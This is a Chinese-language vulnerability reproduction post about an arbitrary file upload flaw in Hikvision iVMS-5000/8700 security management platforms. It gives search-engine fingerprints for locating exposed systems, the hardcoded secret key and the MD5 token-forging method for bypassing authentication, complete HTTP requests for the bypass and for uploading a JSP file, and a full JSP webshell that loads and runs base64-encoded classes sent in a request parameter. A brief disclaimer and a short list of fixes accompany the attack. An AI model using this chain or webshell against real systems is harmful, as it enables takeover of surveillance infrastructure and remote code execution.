海康威视iVMS综合安防系统任意文件上传漏洞

简介: 海康威视iVMS综合安防系统存在任意文件上传漏洞 ,攻击者可通过构造特定Payload实施对目标的攻击。

声明


   本篇文章仅用于漏洞复现与技术研究,请勿利用文章内的相关技术从事非法测试,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!


一、产品简介


 海康威视 iVMS 集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控、连网报警、智能分析、运维管理等多种安全防范应用系统,构建的多业务应用综合管理平台。

image.png

二、漏洞概述


  海康威视 iVMS系统存在在野利用 0day漏洞,攻击者可通过获取密钥任意构造token,请求/resourceOperations/upload接口任意上传文件,导致获取服务器WebShell权限,同时可远程进行恶意代码执行。


三、影响范围


  • 海康威视综合安防系统 iVMS-5000
  • 海康威视综合安防系统 iVMS-8700


四、漏洞验证


鹰图指纹: web.body="/views/home/file/installPackage.rar"

hunter指纹: web.icon=="3670cbb1369332b296ce44a94b7dd685"


漏洞url: /eps/api/resourceOperations/upload

测试脚本: https://github.com/sccmdaveli/hikvision-poc

脚本验证

image.png

手工测试

bp抓起首页包,尝试访问接口 (这里出现token需要进行鉴权)

image.png

数据包如下:

POST /eps/api/resourceOperations/upload HTTP/1.1

Host: X.X.X.X

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8

Cookie: ISMS_8700_Sessionname=60F93668C907B8C1E8E7A1C16A382723

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 57

service=http%3A%2F%2FX.X.X.X%2Fhome%2Findex.action


构造token绕过认证 (内部机制:如果token值与请求url+secretkey的MD5值相同就可以绕过认证)

secretkey是代码里写死的 (默认值:secretKeyIbuilding)

token值需要进行MD5加密 (32位大写)

组合:token=MD5 (url+" secretKeyIbuilding")


MD5加密网址:https://www.sojson.com/encrypt_md5.html


http://X.X.X.X/eps/api/resourceOperations/uploadsecretKeyIbuilding


MD5 32位大写: ************************

image.png

再次验证:


数据包:

POST /eps/api/resourceOperations/upload?token=9A*************************A0 HTTP/1.1

Host: X.X.X.X

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8

Cookie: ISMS_8700_Sessionname=1ED2B975E9CB9B73D71CD033B92F5AB5

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 63

service=http%3A%2F%2FX.X.X.X%3AXXXX%2Fhome%2Findex.action

image.png

可以看出,已经成功绕过!!!


构造文件上传Payload

POST /eps/api/resourceOperations/upload?token=9A******************************A0 HTTP/1.1

Host: X.X.X.X

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8

Cookie: ISMS_8700_Sessionname=1ED2B975E9CB9B73D71CD033B92F5AB5

Connection: close

Content-Type: multipart/form-data;boundary=f7d1250b2d43db9324c19e1073573ce6

Content-Length: 179

--f7d1250b2d43db9324c19e1073573ce6

Content-Disposition: form-data; name="fileUploader"; filename="1.jsp"

Content-Type: image/jpeg

test

--f7d1250b2d43db9324c19e1073573ce6—

image.png

Web访问:http://X.X.X.X/eps/upload/resourceUuid值.jsp

image.png

五、漏洞利用


Tips:谨慎操作


以下为JSP木马

<%!

   class U extends ClassLoader {

       U(ClassLoader c) {

           super(c);

       }

       public Class g(byte[] b) {

           return super.defineClass(b, 0, b.length);

       }

   }

 

   public byte[] base64Decode(String str) throws Exception {

       try {

           Class clazz = Class.forName("sun.misc.BASE64Decoder");

           return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);

       } catch (Exception e) {

           Class clazz = Class.forName("java.util.Base64");

           Object decoder = clazz.getMethod("getDecoder").invoke(null);

           return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);

       }

   }

%>

<%

   String cls = request.getParameter("passwd");

   if (cls != null) {

       new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);

   }

%>

image.png

image.png

该漏洞利用方式极简,危害极高,建议及时修复!!!


六、修复建议


关闭互联网暴露面访问的权限,文件上传模块做好权限强认证

建议各单位对应用进行排查,以免造成其他影响。

目录
相关文章
|
SQL Web App开发 XML
广联达OA漏洞合集(信息泄露+SQL注入+文件上传)
广联达Linkworks办公OA存在信息泄露,攻击者可通过此漏洞获取账号密码登录后台,造成其他影响。
3528 1
|
SQL 供应链 安全
泛微E-Cology ofsLogin任意用户登陆漏洞
泛微e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。
1777 1
泛微E-Cology ofsLogin任意用户登陆漏洞
|
移动开发 安全
泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现
泛微e-office OfficeServer2.php 存在任意文件读取漏洞,攻击者可通过构造特定Payload获取敏感数据信息。
1237 0
|
Java 关系型数据库 MySQL
网络安全-JDBC反序列化漏洞与RCE
网络安全-JDBC反序列化漏洞与RCE
1518 0
|
Prometheus 监控 安全
SpringBoot Actuator未授权访问漏洞的解决方法
SpringBoot Actuator未授权访问漏洞的解决方法Actuator 是 SpringBoot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。
33424 0
|
存储 人工智能 运维
防御OSS Bucket泄露:RAM权限策略+日志审计+敏感数据扫描三重防护
云存储安全三重防护体系,聚焦RAM权限控制、日志审计与敏感数据扫描,通过策略精控、异常检测与主动扫描构建闭环防御,有效应对配置错误导致的数据泄露风险,提升企业云上数据安全性。
1045 0
|
安全 网络协议 NoSQL
Web渗透-常见的端口及对其的攻击思路
本文介绍了常见网络服务端口及其安全风险,涵盖FTP、SSH、Telnet、SMTP、DNS、HTTP、SMB、数据库及远程桌面等20余个端口,涉及弱口令爆破、信息泄露、未授权访问、缓冲区溢出等典型漏洞,适用于网络安全学习与渗透测试参考。
2065 59
|
SQL 安全
jeecg-boot sql注入漏洞解决
jeecg-boot sql注入漏洞解决
2086 0
|
消息中间件 安全 Java
vulhub部分复现记录(后面大概都是原文档了,也比较难复现就不继续了)
本文介绍了多个软件的安全漏洞及其复现过程,涉及的软件包括Vulhub、Flask、ActiveMQ、Adminer、Airflow、Apache Druid、Apereo CAS、APISIX、AppWeb、Aria2、Bash、Cacti、Celery、CGI、ColdFusion和Confluence。每个部分详细描述了漏洞的背景、环境搭建步骤、漏洞复现的具体操作和验证方法。例如,Flask的SSTI漏洞通过构造特定的模板参数实现命令执行;ActiveMQ的反序列化漏洞利用特制的序列化对象触发;这些示例不仅展示了漏洞的危害性,还提供了实际的复现步骤,帮助读者深入理解这些安全问题。
4193 3
vulhub部分复现记录(后面大概都是原文档了,也比较难复现就不继续了)